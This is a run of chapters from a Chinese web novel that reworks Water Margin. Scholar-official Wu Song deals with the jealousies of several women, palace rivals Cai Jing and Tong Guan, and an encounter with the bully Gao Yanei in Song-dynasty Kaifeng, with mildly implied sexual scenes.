《我,武松,靠科举无敌!》
第152章 三娘吃醋,帝姬发怒
扈三娘看着汴京的景色,惊叹道:
“不愧是大宋都城,好生热闹。”
玉兰掀开帘子,看向外面,也惊叹于汴京的繁华。
李二宝更是乡巴佬进城,看什么都新鲜。
苏二娘在路边的馒头铺买了几个肉馒头,尝了尝味道,称赞道:
“不错,比我们馒头好吃。”
张青尝了一个,说道:
“日后我们的馒头也做成这个味道。”
施恩笑道:“哥哥嫂嫂还想回去卖**?”
“嘘...”
孙二娘左右看了看,低声道:
“天子脚下,可不许乱说。”
走过热闹的街道,到了武松所在的宅子。
李馨、舌姬见武松回来,欣喜万分,赶紧上前拜见。
扈三娘见了两人,一股醋意涌上心头,问道:
“这两位娇滴滴的小娘子又是甚么人?”
武松理直气壮地说道:
“这位姐姐是李馨,圣上赐予的。”
“这位是舌姬,也是朋友相赠。”
扈三娘挑不出毛病,也就不说了。
施恩、张青和孙二娘在宅子里住下,李二宝也在院子里住下。
原本显得有些空的宅子,瞬间住满了。
武松想着该买一座大的宅子,到时候鲁智深、杨志他们都要来,落脚肯定在自己家里。
正想着,门外进来两个宫女。
武松出来相见,宫女语气不善地说道:
“茂德帝姬有旨,让你武松赶紧到公主府去!”
“公主有何事?”
“莫问,这便跟我们走!”
扈三娘愣了一下,问道:
“你和公主也有一腿?”
“莫要乱说,茂德帝姬是圣上最宠爱的女儿。”
扈三娘吓了一跳,赶紧闭嘴。
她只是一个庄主的女儿,比起茂德帝姬,差的十万八千里。
就算武松真和茂德帝姬有一腿,她也不敢说。
武松当即换了衣服,赶着宫女往公主府去。
人走后,扈三娘问李馨:
“二郎在京师有多少红颜知己?”
李馨笑道:“主人是状元郎,又是当世大儒,深得圣恩,人生得魁梧,是一等一的好男子,京师倾慕之人不可胜数。”
“比如那登仙楼的花魁李师师、飞燕楼的花魁崔念月,都是主人的知己。”
“其他倾慕女子数不胜数。”
“就连茂德帝姬,对我家主人也是有意的。”
听了这话,扈三娘的心哇凉哇凉...
“你们呢?”
“我们姐妹都是宫里出来的,是主人的奴婢,算不得红颜知己。”
扈三娘听完,脸色铁青...
武松亲自到扈家庄请她,还以为自己是特别的女人。
原来...武松有一堆女人!
扈三娘听完,回房间收拾东西,牵了马就要走。
孙二娘赶紧拦住,劝道:“三娘这是做甚?”
“我要回去...”
扈三娘眼泪落下来。
孙二娘劝道:“傻丫头,二郎红颜知己多,这是有本事。”
“你看看世间的男子,哪个不是三妻四妾,没本事的才守着一个女子过活,就像你张大哥。”
一旁的张青目瞪口呆...
说得好好的,扯**嘛?
这话也太冒犯了!
施恩笑道:“嫂嫂这等说,张大哥今夜逛青楼去。”
“他敢!”
孙二娘怒斥,张青赶紧转身。
孙二娘拉着扈三娘回屋子安慰,李二宝赶紧把扈三娘的马拴起来,不让她走。
武松辛苦从扈家庄骗来,怎么能说走就走!
武松前脚刚走,何运贞、赵楷两人后脚便到了。
见到满屋子的陌生人,何运贞问道:
“我家哥哥何在?”
施恩行礼问道:
“阁下是哪位大人?”
武松是正五品的官,在京师来往的必定也是官员。
所以,施恩问是哪位大人。
“在下何运贞,开封府法曹参军,这位是郓王。”
听闻赵楷是皇子,众人吃了一惊。
他们都是基层来的,没见过大阵仗,被吓了一跳。
施恩慌忙见礼:
“小的施恩,是孟州城里的管营...”
赵楷心中有事,有些不耐烦,问道:
“你只说武松那厮何在?”
“方才公主府来人,往公主府去了。”
“皇姐找他了?”
赵楷想了想,说道:
“如此,我们等他一等。”
何运贞对着施恩几人笑道:
“我们都是武松哥哥的好友,各位不必客套。”
施恩、张青陪着何运贞、赵楷坐下喝茶,但总觉得不自在。
毕竟地位差距太大了...
在房间里抹泪的扈三娘听到外面动静,以为又是哪个红颜知己来了,连忙起身看。
听说郓王来找武松,扈三娘也唬了一跳:
“王爷怎的来了?”
李馨正好送东西进来,笑道:
“郓王在主人面前还需客气七八分,惹得主人不高兴,还需吃主人的打。”
扈三娘惊呆了,问道:
“二郎敢打王爷?”
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>“有何不敢的,那郓王全靠着主人得了恩宠,对主人言听计从。”
扈三娘彻底呆愣了...
东西放下,李馨出去。
孙二娘劝道:
“三娘,你也听到了,二郎是个多厉害的汉子,他红颜知己多,正因他有本事。”
“你跟着二郎,不吃亏的。”
扈三娘顿时红了脸,羞道:
“嫂嫂说甚么,我跟着二郎只为建立功勋,何曾有别的。”
“真没有?”
“真没有。”
孙二娘松了口气,说道:
“如此便罢了,我想着是二郎嫂嫂,替他张罗你们的事情。”
“既然你心里无意,那便罢了。”
扈三娘赶忙抓住孙二娘,急道:
“我有意!”
孙二娘笑道:
“这便是了,我替你去说。”
...
武松跟着宫女到了公主府,从侧门进入,到了院子里。
“在这里候着。”
宫女冷冷说了一句,就把武松晾在一边。
武松心中暗道:
是我回来太晚?
没有给公主写信?
怎么回事?
等了一刻钟,却见茂德帝姬赵福金沉着脸走出来。
“微臣武松,拜见公主。”
赵福金侧身坐下,斜眼看着武松,问道:
“你说你未曾婚配?”
武松愣了一下,说道:
“是,未曾婚配!”
“你还想骗我!”
武松好奇地反问道:
“微臣确实尚未婚配,为何要欺骗公主?此事只需往清河县彻查便知晓。”
赵福金转过身,正对着武松,问道:
“潘金莲是何人?”
“微臣的婢女,她本是城外张大户的使女,主人婆嫌她,送给了我大哥,大哥见我没有婢女,便送给了我。”
赵福金愣了一下,又问道:
“那秀眉呢?她是恩州府的花魁,别以为我不知道!”
“说,那个**...又是你何人?”
武松深吸一口气,表情无奈道:
“公主明鉴,微臣在恩州府解试的时候,遇见了秀眉。”
“那时微臣中举,与众位举人在青楼庆祝。”
“那秀眉身世可怜,她父亲好赌,家徒四壁;把母亲病重,靠着药物度日;她的弟弟还在读书,束脩都是她给的。”
“一个弱女子,靠着**供养父母弟弟,微臣见秀眉可怜,便买了她,养在家中。”
好赌的爸、生病的妈、读书的弟弟、破碎的她。
我武松不帮她,谁帮她?
第153章 表白公主,军国大事
“好,潘金莲和秀眉且过了,我问你,吴月娘和李瓶儿又是怎么回事?”
赵福金质问,武松心中暗道:
奇怪了,连吴月娘、李瓶儿都知道,有人故意告状,想坏我和公主的好事。
此事必定是老狗蔡京所为!
“公主难道不知?”
武松反问,赵福金冷笑道:
“有人说你害死结义兄弟,霸占他们的妻女!”
武松脸色愤怒,骂道:
“岂有此理!我结义兄弟西门庆、花子虚临死前,托付我照顾他们妻女。”
“寡妇门前是非多,我早知会有这些风言风语,却还是答应了。”
“我武松不是那等惧怕流言蜚语之辈,她们如今都在清河县,由我照看。”
“若我不出手,她们孤儿寡母必定任人宰割!”
“就在年前,有人冒充郓王小舅子,要侵吞她们家产,好在被微臣识破。”
“此事,公主应该知晓。”
赵福金被武松说得一愣一愣...回头问道:
“可有此事?”
“有,奴婢听说了,那厮好大的狗胆,竟敢冒充皇亲国戚,已经杀了三族。”
武松说得都没错,赵福金一下子泄气了。
“微臣有罪,这一趟回乡太久,也未曾给公主写信...”
“你还知道要给我写信!”
赵福金冷哼,武松笑呵呵说道:
“微臣想过,也写过,但不敢寄给公主,恐有流言蜚语。”
“我怕甚么!”
赵福金脸色缓和了,却还是问道:
“你家中那两个宫女呢?”
“圣上和蔡攸大人所赐,不敢拒绝,若是公主觉得不好,我便把她们散了。”
赵福金彻底没话说了...武松清清白白、干干净净,无可挑剔。
武松看着赵福金的眼睛,以手指心,说道:
“不论这世上女子有多少,我武松只有一颗心。”
“都说我武松是个心大的汉子,但只有我自己知晓,我武松的心很小,容不下许多女子,只能容得下公主一人而已。”
这突如其来的土味情话,说得赵福金脸色通红,羞怒道:
“放肆,竟敢调戏我!”
“这是我武松的真心,并非调戏!”
赵福金压不住嘴角的笑意,假装怒道:
“退下吧,明日到集英殿,我有只狸猫,你与它作画。”
“微臣领旨。”
武松退出公主府,赵福金看着武松离去。
“蔡京那老狗可恨,挑拨我与武松的关系。”
“从今日,谁敢说武松不是,乱棍打死!”
潜伏在公主府告状的婢女吓了一跳,再也不敢多说。
武松出了公主府,心中冷笑:
蔡京老狗妄图挑拨,坏我和帝姬的好事,着实可恨!
想跟老子抢女人,看老子让你家破人亡!
回到家中,却见赵楷、何运贞坐在里头,施恩、张青陪话。
见武松回来,两人同事起身。
武松指着赵楷骂道:
“你这厮的小舅子招摇撞骗,害得老子好苦。”
赵楷无语道:
“那人自己假冒,与我何干?”
武松坐下来,何运贞说道:
“哥哥,童枢密被御史台参了一本,要革职查办。”
“然后呢?”
“太师保他。”
武松笑道:“童贯还有圣眷,还有蔡京作为党羽,倒不了。”
“那我们该如何?”
何运贞想知道武松接下来的打算。
武松说道:“我将请旨前往边关,灭西夏!”
何运贞悚然,赵楷也觉得不可思议。
西夏立国很久了,和北宋战事不断,但始终奈何不了。
武松居然说要灭掉西夏,简直天方夜谭。
“你有对策?”
赵楷问道,武松说道:“有,但我需要掌握兵权。”
“郓王想不想同往?”
武松不管多厉害,毕竟没有背景,没有靠山,资历太浅薄。
想掌控兵权,主持对西夏的战事,基本不可能。
他需要赵楷这样的皇子出面,名义上由赵楷统兵,实际上由武松指挥。
赵楷盯着武松,说道:
“你若助我,我便去!”
“不怕我败了连累你?”
赵楷嘿嘿笑道:
“本王信你!”
赵楷今天来找武松,是因为他得知了另一件事情:
辽国真的内乱了,女真在出河店大败辽国,建立国号:大金!
记得去年省试,赵楷和武松聊过,武松当时在赵楷手心写了个“金”字。
当时不理解,如今细思极恐。
不过,现在武松说到征战西夏,赵楷便先说西夏的事情。
何运贞赶忙插嘴,说道:
“哥哥,我与你同往,我父亲也与你同往。”
武松预言童贯大败,又预言女真崛起。
何运贞父子把武松当做神明看待
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。
武松说要灭掉西夏,何运贞相信,这话一定是真的!
跟着武松,就有灭国之功!
施恩、张青两人看着赵楷,心中对武松越发佩服。
堂堂皇子,对武松言听计从。
“你打算如何与父皇说?”
“不急,灭国事大,我须等人过来。”
“等人?等何人?”
“大战须有大将,我的大将还未到。”
“谁是大将?”
“到时候你便知道了。”
武松卖关子,赵楷不爽,故意问道:
“方才皇姐找你,何事?”
“无事,让我明日到集英殿,与她作画。”
“仅此而已?”
“嗯,不然呢?”
赵楷嘿嘿冷笑道:“我听说你家里妻妾成群,欺骗了皇姐。”
“胡说八道,我武松不好女色,只爱读圣贤书。”
说到读书,何运贞说道:
“哥哥写的《四书章句注解》流传甚广,但蔡京却说哥哥所著乃是野狐禅,其党羽毁谤颇多。”
“甚至听闻,翰林学士叶梦得要与哥哥论道。”
武松笑道:“我著《四书章句注解》,乃是为了明确儒学要义。”
“蔡京党羽要与我辩论,那就辩论吧。”
赵楷提醒道:
“叶梦得此人学识渊博,你不可大意。”
武松当然知道,叶梦得是两宋时期的词人、经学家,学识渊博,著有《石林燕语》《石林诗话》等书。
但是人品不行,靠着攀附蔡京上位,阿谀奉承之徒!
“无妨,他若要与我辩论,我自有法子治他!”
施恩、张青两人只顾喝茶,完全插不上嘴。
科举学问的东西,他们这些大老粗完全不懂。
扈三娘躲在里面偷听,也是听得一头雾水。
这时候才知道状元两个字意味着什么,这意味着武松站在了大宋文坛的最顶端,众人仰慕!
“难怪说状元是文曲星。”
扈三娘喃喃自语,孙二娘也完全听不懂,只说道:
“二郎是状元,他的话哪里是我们能懂的。”
说了好一阵子,赵楷、何运贞才离去。
临走的时候,武松委托何运贞找个大点的宅子,钱不是问题。
他们前脚刚走,便有人上门来了。
却见一个道士打扮的男子进门,武松喜道:
“戴院长来了,请坐!”
来人正是神行太保戴宗!
第154章 公主作画,枢密使童贯
戴宗接到武松的信后,按照约定的时间,过完年后,辞掉了江州的差事,几天便到了京师。
武松还没有回来,戴宗找了家客店住下。
得到武松回来的消息,马上就过来了。
“武修撰有礼。”
“无需客气,都是自家兄弟,戴院长请坐。”
武松拉着戴宗到里面坐下,扈三娘从里面出来,孙二娘在张青旁边坐下。
“二郎,这位是谁啊?”
孙二娘看向戴宗,武松笑道:
“这位便是日行八百里、夜行六百里的神行太保戴宗。”
“早闻大名!”
众人起身行礼。
武松把其他人介绍了一番,相互见过后,也请戴宗在家里住下。
“接到武修撰的信,我便辞了江州的差事,过完年就到了京师。”
“戴院长叫我二郎吧。”
戴宗笑道:“也好,都是自家兄弟。”
“我半月前就到了,一直等着二郎。”
扈三娘好奇问道:“你真能日行八百里?”
“我学过道术,就这点本事。”
“哇,好本事,比那骏马还能跑。”
“我这本事不算甚么,二郎才厉害,能掐会算。”
武松知道戴宗说什么,于是提起扈家庄的事情。
“我在郓州见到了李逵,他和宋江在一起。”
“我劝过他,奈何那厮不听劝,死活要跟着宋江。”
“各有各路,不打紧,院长信得过我,武松必定不负你们。”
厨房准备好了酒菜,武松邀请众人入席,好好喝了一顿酒。
到了晚上,武松悄悄进了后院,李馨、舌姬和玉兰三人正在房间里说话。
“主人在家里还有许多妾室呢,都是绝色。”
“有本事的男子,哪个不是三妻四妾,我们在宫里时,哪个不是佳丽?”
“等她们到了京师,与我们同住时,哪里还能得宠。”
“主人喜欢舌头,你跟我学,定能得宠的。”
“噫?主人说爱我的臀儿...”
三个人交流操作经验,武松进屋,笑道:
“你们急甚么,又不缺你们的。”
李馨走过去替武松宽衣,舌姬打水过来伺候洗脚。
玉兰发现自己没事做,心中焦急,连忙跪在地上伺候洗脚。
舌姬和玉兰,一人捧着一只脚,轻轻揉搓。
“主人一去半年,想苦了我们姐妹。”
李馨抱着武松撒娇,武松笑道:
“莫急,待会儿便安慰你们。”
洗完脚,武松先把李馨狠狠收拾一顿。
等到李馨求饶睡了,舌姬拉着玉兰跪在床上,说道:
“玉兰妹子,看好了,我教你怎么用舌头。”
玉兰仔细看着...
...
第二天醒来。
武松摸了摸后腰,感觉有点虚...
舌姬果然是个**,自己像蛇一样就算了,还把玉兰教会了。
酒色伤身,今日戒酒!
其他人昨夜喝多了,还在睡觉。
武松换上紫色官袍,骑马往集英殿点卯。
佩戴金鱼符,进了皇宫,到了集英殿,里面的官吏拜过武松。
作为新年第一次上班,下属过来拜晚年,武松自然要给红包。
好在传道书舍一直在分红,武松现在有的是银子。
放好东西,武松到了延和殿,打算给徽宗拜个晚年。
到了殿内,太监通传,过了许久,却没有动静。
武松心中知道,定是太监杨戬暗中捣鬼,不让自己见徽宗。
死太监,早晚弄死你!
回到集英殿,茂德帝姬赵福金坐在武松的位子上,手里拿着一支毛笔。
宫女怀抱一只漂亮的狸猫在旁边。
“微臣拜见公主。”
“你干甚去了?”
赵福金没有第一眼见到武松,心里不高兴。
“微臣方才去了延和殿,想拜见圣上,奈何通传许久,不得召见。”
赵福金蹙眉道:
“死老太监,还敢拦你!”
“你先替我作画,就画我的喵喵。”
武松拿来画架和铅笔,还有颜料。
铅笔是武松自制的,尖头用石墨,笔杆用竹子,非常简易,却也能用。
宫女抱着狸猫,让武松作画。
“狸猫很好,但宫女不行,还请公主亲自抱着,方才般配。”
赵福金喜欢这样的夸奖,把狸猫抱在怀中,坐在椅子上。
武松拿起铅笔,开始描画。
时间过得很快,中午时分,一幅画好了。
“请公主过目。”
赵福金抱着狸猫,看着武松的画,笑道:
“我的狸猫好看。”
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>“狸猫借了公主的光。”
“油嘴滑舌。”
赵福金吩咐宫女,把画拿去工部装裱,好了挂在公主府。
“我带你去见父皇。”
武松没有马上去,而是说道:
“画了半日,想必公主饿了,微臣斗胆,想与公主共进午餐。”
赵福金脸上荡起一阵红晕,说道:
“好。”
公主很快送各色菜肴过来,就在集英殿与武松共进午餐。
桌上的菜色非常精致,赵福金的厨子据说和徽宗一样。
武松殷勤夹菜,赵福金感觉这午餐糖分爆表,太甜了!
吃过午饭,赵福金抱着狸猫,带着武松进了延和殿。
“父皇呢?”
赵福金直接问,小太监不敢得罪赵福金,赶紧带路。
到了书房,蔡京、童贯在里面,还有老太监杨戬。
“父皇。”
赵福金走进书房,徽宗疲惫的脸上浮现一丝喜色:
“福金来了,坐。”
赵福金在徽宗身边坐下,目光看向杨戬,质问道:
“武松求见父皇,你为何不通报?”
杨戬假装惊讶,回头骂小太监:
“武修撰来了,为何不报?”
小太监默默背锅。
武松上前行礼:
“微臣武松,拜见圣上。”
“你回来了,赐座。”
太监搬来椅子,请武松也坐下来。
“谢圣上赐座。”
武松在童贯身边坐下,童贯立即看过来。
这是童贯第一次见到武松,武松也是第一次见到童贯。
“你就是武松?”
童贯语气不悦,武松和颜悦色,说道:
“下官武松,见过枢密使。”
童贯猛地起身,指着武松骂道:
“好个狗贼,便是你误我大事!”
“圣上,此贼祸乱朝廷,致使我朝损兵折将!”
“请斩杀此贼,以谢天下!”
武松愣住了...
**,一见面就要杀我!
老子跟你有仇吗?
赵福金也愣住了...武松不就是写写书、画个画,怎么就祸乱朝廷了?
蔡京冷笑看着武松,太监杨戬也面带冷笑。
武松起身,俯视童贯,正色道:
“枢密使何出此言?我武松何曾祸乱朝廷?如何损兵折将?”
第155章 童贯栽赃,武松要官
童贯是开封府人士,少年时入宫当了太监。
没错,童贯是个太监,但长得非常魁梧,相貌也不错。
早年宋神宗在位时,曾经跟着打过仗,学会了军事知识。
徽宗上位后,靠着和蔡京勾结,讨好徽宗,得到了重用。
相比于其他太监,童贯的身材算是魁梧的。
但是,在武松面前,童贯还得矮一个头。
童贯抬头看着武松,骂道:
“我在西夏的军事策略,便是出自你手!”
“若非你的策略有误,我何至于损兵折将!”
“此次征伐西夏失败,皆是你的罪过,是你胡说八道、祸乱朝政!”
武松愣住了...
去年省试的时候,时务策考的是如何对付西夏。
武松提出了十六字方针:
堡寨推进、步步蚕食、重金诱降、瓦解内部!
童贯当时拿了武松的对策,然后出兵西夏。
白嫖武松的对策就算了,这厮还特意把武松判为第二,最后武松和赵楷并列省试第一。
如今失败了,居然把大黑锅扣在武松头上!
禽兽啊!
“请问童枢密,我在军中所任何职?”
武松反问,童贯语塞。
蔡京冷笑道:
“武松,莫要狡辩,你虽然不在军中供职。”
“但童枢密在西夏的策略,完全根据你省试提出的对策。”
“此次战败,你须担责!”
武松哈哈大笑道:
“太师,我省试时务策提出:堡寨推进、步步蚕食、重金诱降、瓦解内部!”
“请问,我这四个对策,哪个错了?”
蔡京也无语了...
武松提出的对策,让童贯前期取得了很大的胜利。
最后失败,是因为童贯冒然进攻,被西夏埋伏,才导致大败而归。
这和武松没有任何关系!
“我不杀伯仁,伯仁因你而死!”
“你为何只提出这四个对策,为何不告诉童枢密,如何进攻?”
老太监杨戬开口,武松直接无语了...
这**是人话?
连徽宗也听不下去了,开口道:
“武松并未在军中,兵败与他无关。”
徽宗定了对错,蔡京不敢再说。
老太监杨戬也不敢再说。
童贯心中却还是不爽,说道:
“圣上,若非武松提出的对策,奴才不会轻易进攻,他有错!”
武松真的生气了,怒道:
“童贯,我单枪匹马杀入兴庆府,取了李乾顺首级,与你立功如何?”
兴庆府是西夏的都城,李乾顺是西夏皇帝。
童贯听了,气得脸皮紫涨,拳头紧握。
武松冷冷俯视童贯,眼神不屑。
童贯体型魁梧,这只是相对其他人而言。
在武松面前,童贯就是个没鸡鸡的弱鸡!
动起手来,两拳打死!
“不用再说了。”
徽宗有些不高兴了,童贯这才闭嘴。
武松也坐下来,懒得和童贯争执。
“如今西夏王庭派来使者,要我大宋赔款,如何应对?”
徽宗头疼地揉了揉眉心。
去年辽国派使者要钱,今年西夏派使者要钱。
大宋就跟血包一样,谁血量不够了,就来冲一波。
“奴才无能,问武松,他是状元,定有妙策!”
童贯冷笑,徽宗正要训斥,武松却说道:
“圣上明鉴,与其赔款助长西夏凶威,不如把银子犒赏将士,再伐西夏!”
“哈哈哈...”
童贯大笑嘲讽:
“无知小儿,再伐西夏,你去吗!”
“对,我去!”
武松目光坚毅,语气坚定。
童贯神色收敛,蔡京也坐直了身体,杨戬好奇地看向武松。
徽宗皱眉道:
“武松,你从未领兵打仗,此事不可儿戏。”
童贯起身拜道:
“奴才请旨,便让武松到边关去,看他有多少能耐!”
“胡闹,军国大事,岂可意气。”
徽宗虽然昏庸,却也不到没脑子的程度。
童贯战败,迁怒武松,谁都能看出来。
不能因为童贯看武松不爽,就让武松去打仗。
万一打了败仗,损失还是徽宗自己的。
毕竟这天下百姓、国库的钱,都是他们老赵家的东西。
“圣上说的是,军国大事,不可儿戏。”
“微臣是状元出身,不是武夫!”
武松没有趁机要求去打仗,因为这样做,容易被童贯搅黄。
武松要表现出不想去,然后才能顺利去。
童贯听了武松这话,越发愤怒:
“你的意思,我是武夫?”
“枢密使误会了,我是状元,没说你是武夫。”
童贯气得脸皮铁青,恨不能一拳打死武松。
“行了,别吵了。”
徽宗感觉头疼,不想再说。
蔡京却冷笑道:
“状元郎写的那个《四书章句注解》,非议颇多,说你的是野狐禅。”
“既然你自诩文人魁首,那就公开辩经如何?”
蔡京从去年开始,就着手筹备对付武松。
他的儿子蔡绦,因为一本《西清诗话》,被武松干掉了功名。
蔡京一直怀恨在心,定要报复武松。
“太师要和我辩论吗?”
武松笑盈盈看着蔡京。
“不,是翰林学士叶梦得,他想和你辩经。”
“哦,叶梦得原来是太师的党羽。”
“胡说八道!学问
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上的事情,怎是我的党羽?”
“可以,他要辩经,那就辩经。”
“好,那就在翰林院辩经!说你的《四书章句注解》!”
蔡京大喜,觉得武松中计了。
等到武松辩经失败,他可以趁机诋毁武松,革掉武松的功名。
至少也可以把武松外放,赶出京师。
到那时候,茂德帝姬赵福金就是他蔡家的媳妇了。
正事吵完了,赵福金开口道:
“父皇,今日武松为女儿画了狸猫,甚是好看。”
“对了,朕近日做了一幅画,你与朕看看。”
说起画画,徽宗瞬间不困了。
“微臣领旨。”
徽宗起身到了画室,武松和赵福金一起跟着进入。
里面摆着很多画,其中一幅锦鸡图尤为好看。
“这是朕画的,你看看如何?”
武松仔细看过后,赞叹道:
“好似凤凰一般。”
“你这武松,也学会了溜须拍马。”
“微臣如实说而已。”
徽宗又拿出其他几幅画,武松一一点评,以夸奖为主,偶尔指出小毛病,徽宗听得很高兴。
“这次回乡探亲如何?”
“还好,见了老师。”
“朕听说,还被你抓了个冒充皇亲国戚的?”
“是,在阳谷县遇到的,那厮招摇撞骗多年了。”
“嗯,那贼人胆大包天,朕灭了他三族,以儆效尤。”
徽宗坐下来喝茶,心情看起来不错。
武松趁机说道:
“微臣这次回乡探亲,见了恩师张知白,他是进士出身,担任知县多年。”
徽宗马上明白了,问道:
“他想去何处?”
“恩师乃开封府人士,想回来。”
“朕记得开封府缺个判官,让他去吧。”
“微臣替恩师谢圣上隆恩。”
本来要替薛辉要个官职的,但薛辉因为抓了陆公子,已经提拔为知州,所以武松不再说。
开封府的判官,从六品,品级不算太高。
但开封府地位重要,判官也是个肥差,比清河县知县的位子好得多。
聊了会儿,武松和赵福金离开。
从皇宫出来,武松回到家门口,看见小蝶站在门口张望。
见到武松,小蝶欣喜跑过来:
“姐夫回乡了,也不和娘子说一声,请到登仙阁走一趟,娘子在楼里候着。”
这小蝶是李师师的贴身婢女。
武松回乡半年多,李师师想了半年多,日日派小蝶来看。
好不容易武松回来了,小蝶牵住马缰,往登仙楼方向拽。
“你小声些,莫让家里人听见。”
“噫?姐夫怕谁知晓?”
小蝶好奇,难道有人能管住武松?
第156章 票资十万,大相国寺
“怎会有人管我。”
武松呵呵笑了笑,骑马快速离开,不想被扈三娘看见。
那个丫头太年轻了,想要纯真的爱情。
作为一个不好女色的男人,武松给不了。
到了金环巷,进了登仙楼,李妈妈见到武松,连忙含笑相迎:
“武修撰来了,女儿念你多时了。”
“我今日没带银子,明日给你送来。”
“好说,武修撰上楼去。”
俗话说:赌无欠、嫖无赊。
本以为李妈妈会阻止,没想到这么善解人意。
武松不知道的是,李妈妈得知武松嫖了崔念月后,心中暗暗焦急。
不仅为了银子,也为了名声。
如果武松只在崔念月那里,不来找李师师,那么李师师的名声、身价必定一落千丈。
今日武松来了,那就是给李师师抬身价。
上了楼,李师师眼泪汪汪看着武松:
“还以为哥哥不要奴家了。”
“回乡探亲,来往音信困难,并非有意冷落你。”
“回乡之前,如何不跟奴家说?”
“你这阁楼,等闲进不来的,千金之费,如今与我也有些拮据。”
“这是怪奴家了。”
李师师抹眼泪,武松笑道:
“何曾怪你,如今回来,我要做大事。”
“待我功成名就,便与你赎身。”
“我说过,黄金十万两、珍珠十斗,定不食言。”
李师师感动地点头,说道:
“妈妈这些时日也是担忧,怕你不来了。”
“今日来了,奴家好生陪你。”
李师师把武松往床上拉,武松问道:
“不怕那老虔婆聒噪?”
“妈妈今日定不管的。”
说罢,李师师和武松上了床。
...
到了晚上,武松才回到宅子。
孙二娘、张青做菜,施恩、戴宗和扈三娘、李二宝几人围坐一起喝酒吃肉。
“二郎如何这晚才回?”
孙二娘连忙拉武松入座。
“耽误了。”
武松笑呵呵坐下来,施恩倒酒。
扈三娘突然眉头微皱,凑到武松身前嗅了嗅,问道:
“哪来的胭脂味?”
这一句话,在场众人突然安静下来。
“宫里的,今日陪圣上作画,公主也在。”
扈三娘毕竟见识少,武松轻易一句话骗过去了。
“来,二郎,我们喝。”
武松陪着众人喝酒到深夜。
...
到了第二天。
武松起来,派李二宝从库房拿了十万两银子,送到登仙楼去。
李二宝以为听错了,问多少?
武松明确跟他说,十万两白银。
李二宝都呆愣住了。
作为村里出来的,饭都吃不饱的穷小子,十万两对于他来说是天文数字。
结果,武松轻易一句话,就要花十万两。
李馨是管家,她马上吩咐仆人搬了十万两白银出门,李二宝押车。
到了登仙楼,李二宝抬头看着里面娇滴滴的小娘子,问这是哪里?
别人说这是青楼,就是找**睡觉的地方。
李二宝被震惊到了...
武松昨夜晚归,原来在这里嫖了。
可是,什么**,嫖一下要十万两银子?
李二宝感觉自己完全理解不了。
等回到宅子,李二宝正想问,却见扈三娘跟着武松蹦蹦跳跳出来。
“主人,你去哪里?”
“我陪三娘到大相国寺去逛逛。”
大相国寺在汴京属于最繁华热闹的集市,相当于后世的商贸综合体、购物一条街。
扈三娘女孩子心性,京师繁华,岂有不逛街的道理。
“我们走啦,告诉二娘,我们不回来吃饭了。”
扈三娘牵着武松的手往外走,李二宝心中暗道:
如果三娘知道主人昨夜花十万两银子**女,会不会生气啊?
正想着,孙二娘从里面出来。
“二宝,愣着干啥呢?”
“刚从青楼回来。”
“啥?你去逛青楼?”
孙二娘揪住李二宝的耳朵,骂道:
“不学好,你还未成亲,平白掏空了身子骨。”
“哎呀,二娘松手,不是我**女,是给主人还嫖资。”
“啊?二郎?”
“对,主人昨夜花了十万两银子,今日送去的。”
孙二娘惊呆了,问道:
“夺少?”
“十万两,白花花的银子,拉了几辆马车送去的。”
孙二娘震撼到了。
原来大官儿花钱这样的!
在十字坡卖**包子,一年不过百十两银子进账。
武松嫖一个**,居然花钱十万两,天哪!
“若是被三娘知道了...”
“二宝,此事不可说,记住了。”
“我晓得厉害。”
李二宝缄口不言。
武松带着扈三娘出了宅子,一路沿着街道行走。
两边店铺林立,各种摊铺满目,扈三娘少女心性,买了许多好东西。
“前方就是大相国寺。
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”
武松指了指人群涌动的前方,扈三娘惊喜道:
“曾听闻大相国寺啥都有,只是我的银子快没了。”
“放心,银子不是问题。”
“啊?你很有钱么?”
从认识开始,武松都表现得很低调,只是喜欢喝酒吃肉,其他物质享受不怎么追求。
宅子里也没有豪奢的东西,所以扈三娘以为武松没什么钱。
“不多,百万银子还有。”
“这么多?”
扈三娘两眼放光,武松笑道:
“想要甚么,你买便是。”
扈三娘崇拜地看着武松。
学霸、高官、英雄、富豪,各种标签叠满,武松简直就是完美男人。
武松带着扈三娘走进大相国寺,里面人声鼎沸。
大相国寺始建于北齐,后数次被毁,又数次重建。
如今,大相国寺是皇家寺院,建制恢弘,不仅是皇家宗教场所,还是商贸、娱乐中心。
每月逢朔、望、三、八日,寺院内会举办大型集市。
还有说书、杂技等技艺表演,文人墨客也在这里售卖字画。
《东京梦华录》曾重点写过大相国寺。
进了里面,扈三娘花了眼,高兴地走来走去,完全看不够。
“二郎,这套衣服如何?”
“好看,但是短了点。”
“主人家可有我合身的?”
扈三娘有些头疼,她身高差不多两米,普通的衣服根本穿不了。
“娘子好生长大,我须单独为娘子做一身。”
“何时与我?”
“须三五日方好,娘子须给我定钱。”
“给了你定钱,你走了奈何?”
“娘子说笑了,我家在大相国寺二十年了。”
武松拿出一锭银子,说道:
“做好之后,送到祥庆街武府,我是武松。”
“原来是状元郎当面,做好便送到府上。”
扈三娘问道:“你知道我家二郎?”
“京师谁人不知状元郎的名号。”
扈三娘看武松的眼神满是崇拜。
京师这种地方,居然每个人都知道武松的名字,好厉害啊...
“那边有杂技表演,我们去看看。”
武松牵着扈三娘的手,走进另一座院子,几个艺人正在表演,赢得阵阵喝彩。
人群中,一个身穿锦衣、手持折扇的公子也在看表演。
身后跟着几个帮闲,各持茶壶、鸟笼伺候着。
“公子,你看那个娘子。”
身后的帮闲抬手指向扈三娘。
第157章 暴打高衙内,掌掴高俅
锦衣公子看向扈三娘,脸上露出淫笑:
“居然比男子还要长大,如此女子,却是少见。”
“公子说的是,那娘子不单长大,居然还有花容月貌,着实难得。”
“如此娘子,须养在公子府上。”
“说的是,且随我过去。”
锦衣公子挤开人群,到了扈三娘身边,抬头色眯眯看着:
“娘子哪里人家?如何称呼?”
锦衣公子直接开口调戏。
扈三娘正在看杂技,听到声音,方才低头看向锦衣公子,皱眉道:
“我与你不相识,不劳多问!”
武松也转头看向锦衣公子,心中已是不悦。
“你这娘子好不识抬举,我家公子是高衙内,问你姓名是想抬举你。”
“进了我们衙内府上,少不得你荣华富贵、锦衣玉食。”
扈三娘不知道高衙内是谁,正要喝骂,武松抬手把扈三娘护在身后,俯视锦衣公子,问道:
“你是高俅之子?”
“没错,既然知道我家公子是高太尉之子,还不把你的婆娘送过来!”
武松脸上突然露出狰狞的笑容,大声道:
“堂堂高太尉之子,当众调戏我家义妹,岂有此理!”
“天子脚下、首善之地,还有王法么!还有法律么!”
“这江山到底姓赵,还是姓高!”
武松这一声,在场所有人看过来。
